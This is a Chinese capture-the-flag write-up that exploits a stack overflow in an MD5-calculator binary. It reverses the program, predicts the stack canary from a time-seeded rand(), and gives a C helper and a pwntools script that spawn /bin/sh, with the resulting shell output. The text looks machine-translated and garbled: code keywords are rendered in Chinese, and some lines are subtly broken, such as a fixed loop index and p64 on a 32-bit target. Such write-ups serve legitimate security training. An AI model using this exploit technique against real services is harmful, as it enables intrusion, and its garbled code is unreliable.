下载下来直接运行,提示缺libcrypto
库,但是我却安装过了openssl
。于是在lib下看,确实是没有这个库。因为我的环境是ubuntu x86_64
装的openssl
也是64位的,所以要安装32位的库,使用这个命令:
sudo apt-get install --reinstall libssl1.0.0:i386
安装好后反汇编一下,程序很简单。先生成一个随机数token,输入的值和随机数token相等则再输入一串base64编码后的文本,将这个文本解密后用md5加密打印。
程序的漏洞比较明显,在process_hash
函数这。
int process_hash ()
{
int v0; // ST14_4 @ 3
void * ptr; // ST18_4 @ 3
char v3; // [sp + 1Ch] [bp-20Ch] @ 1
int v4; // [sp + 21Ch] [bp-Ch] @ 1
v4 = * MK_FP(__ GS__,20);
memset的(和v3,0,在0x200 U);
while(getchar()!= 10)
;
memset(g_buf,0,sizeof(g_buf));
fgets(g_buf,1024,stdin);
memset的(和v3,0,在0x200 U);
v0 = Base64Decode(g_buf,&v3);
ptr =(void *)calc_md5(&v3,v0);
printf(“MD5(data):%s \ n”,ptr);
免费(ptr);
return * MK_FP(__ GS__,20)^ v4;
}
其中g_buf
是全局变量1024字节,存放base64编码后的文本。v3
是局部变量512字节,存放解码后的文本。
Base64是把3个字节变为4个字节,所以,Base64编码的长度永远是4的倍数
所以1024字节的base64解码后为1024/4*3=768
。而程序只分配的512字节,所以会出现缓冲区溢出。
然而,程序开启了stack canary
,需要我们绕过。
[----------------------------------寄存器-------------- ---------------------]
EAX:0x0
EBX:0xffffd40c('a' <重复200 次 > ...)
ECX:0x0
EDX:0xf7dcf434 - > 0x804c020 - > 0x3a9
ESI:0x0
EDI:0xffffd60c('a' <重复188 次 >)
EBP:0xffffd618('a' <重复176 次 >)
ESP:0xffffd3f0 - > 0x0
EIP:0x8049074(<process_hash + 226>:mov eax,DWORD PTR [ebp-0xc])
EFLAGS:0x200282(进位奇偶校验调整零SIGN 陷阱 INTERRUPT方向溢出)
[ - - - - - - - - - - - - - - - - - - -码 - - - - - - --------------------------]
0x8049066 <process_hash + 212>:mov eax,DWORD PTR [ebp-0x210]
0x804906c <process_hash + 218>:mov DWORD PTR [esp],eax
0x804906f <process_hash + 221>:调用0x8048900 <free @ plt>
=> 0x8049074 <process_hash + 226>:mov eax,DWORD PTR [ebp-0xc]
0x8049077 <process_hash + 229>:xor eax,DWORD PTR gs:0x14
0x804907e <process_hash + 236>:je 0x8049085 <process_hash + 243>
0x8049080 <process_hash + 238>:调用0x8048990 <__ stack_chk_fail @ plt>
0x8049085 <process_hash + 243>:添加esp,0x220
[------------------------------------堆------------ -------------------------]
0000 | 0xffffd3f0 - > 0x0
0004 | 0xffffd3f4 - > 0x804c028 - > 0x0
0008 | 0xffffd3f8 - > 0xf7dcfc20 - > 0xfbad2288
0012 | 0xffffd3 fc - > 0xf7c71a97(<_IO_vfscanf + 1399>:movzx ecx,BYTE PTR [ebp-0x15c])
0016 | 0xffffd400 - > 0xf7dcfc20 - > 0xfbad2288
0020 | 0xffffd404 - > 0x2be
0024 | 0xffffd408 - > 0x804c028 - > 0x0
0028 | 0xffffd40c('a' <重复200 次 > ...)
[------------------------------------------------- -----------------------------]
图例:代码,数据,rodata,值
0x08049074 在 process_hash()
gdb-peda $ p $ ebp -0xc
$ 1 =(void *)0xffffd60c
gdb-peda $ shell
-------------------------------------------------- ----------
〜/ pwn / pwnkr / md5_caculater»python
Python 2.7.6(默认,2016年10月26日,20:30:19)
linux2上的[GCC 4.8.4]
输入“帮助”,“版权”,“信用”或“许可” 以获取更多信息。
>>> hex(0xffffd60c-0xffffd40c)
'在0x200'
>>>
可见,0x200字节就覆盖了canary。需要绕过这个canary,首先想到了Memory Leak
。但是,程序不存在格式化字符串漏洞;又想能否使用BROP,这个程序是用socat启动的,程序挂了后肯定会rerandom,所以还是不行。
int my_hash ()
{
INT结果; // eax @ 4
int v1; // edx @ 4
签署 INT I; // [sp + 0h] [bp-38h] @ 1
char v3 [ 32 ]; // [sp + Ch] [bp-2Ch] @ 2
int v4; // [sp + 10h] [bp-28h] @ 4
int v5; // [sp + 14h] [bp-24h] @ 4
int v6; // [sp + 18h] [bp-20h] @ 4
int v7; // [sp + 1Ch] [bp-1Ch] @ 4
int v8; // [sp + 20h] [bp-18h] @ 4
int v9; // [sp + 24h] [bp-14h] @ 4
int v10; // [sp + 28h] [bp-10h] @ 4
int v11; // [sp + 2Ch] [bp-Ch] @ 1
v11 = * MK_FP(__ GS__,20);
for(i = 0 ; i <= 7 ; ++ i)
*(_ DWORD *)&v3 [ 4 * i] = rand();
result = v7 - v9 + v10 + v11 + v5 - v6 + v4 + v8;
v1 = * MK_FP(__ GS__,20)^ v11;
返回结果;
}
看到了这个函数,其中v11
为cancary,只要我们知道随机数,就可以逆推出canary的值。我们找到了随机数的种子为time(0)
就是当前系统的时间戳。
这样就好办了,写一个程序来根据token算canary。因为目标程序是用socat启动的,所以当有程序连上目标端口就会启动这个程序,我们得到token后传入我们写的程序。这时候时间戳应该是一样的,根据这个token就可以算出canary。
#包括<stdio.h>中
int main (int argc,char * argv [])
{
int n [ 8 ],i;
int token = atoi(argv [ 1 ]);
int cookie;
srand(时间(0));
for(i = 0 ; i < 8 ; i ++)
{
N [1] = RAND();
}
// v [4] -v [6] + v [7] + cookie + v [2] -v [3] + v [1] + [5] =令牌
cookie = token-n [ 5 ] -n [ 1 ] + n [ 3 ] -n [ 2 ] -n [ 7 ] + n [ 6 ] -n [ 4 ];
printf(“%x \ n”,cookie);
返回 0 ;
}
因为system
有了,所以我们需要一个/bin/sh
的地址来完成函数调用,这个也比较好解决。因为有一个全局变量,我们把/bin/sh
放到全局变量里即可,所以exploit如下:
来自 pwn import *
进口 OS
来自 base64 导入 b64encode
#io = process(“./ hash”)
io = remote(“127.0.0.1”,10001)
io.recvuntil(“你是人吗?输入验证码:”)
token = io.recv()
io.send(令牌)
cookie = os.popen(“./ x” + token).read()
cookie = int(cookie,16)
log.success(“Canary => [{}]”。 format(hex(cookie)))
payload = “A” * 0x200 + p32(cookie)+ “B” * 12 + p64(0x8048880)+ p64(0x804b3c0)+ “/ bin / sh \ x00”
payload = b64encode(payload)+ “/ bin / sh \ x00”
的raw_input()
io.sendline(有效载荷)
io.interactive()
结果如下:
tiny_easy @ ubuntu:/ tmp $ python xxx.py
[+]在端口9002上打开到127.0.0.1的连接:完成
[+] Canary => [0xf5905a00]
[*]切换到交互模式
欢迎!你是经过身份验证的。
使用BASE64对数据进行编码然后粘贴我!
MD5(数据):a703c1b84424ff5c8e2f6c5569f3151a
$ ls
旗
日志
记录 2
md5calculator
super.pl
$ cat flag
金丝雀,堆栈守卫,堆栈保护器..什么是正确的表达?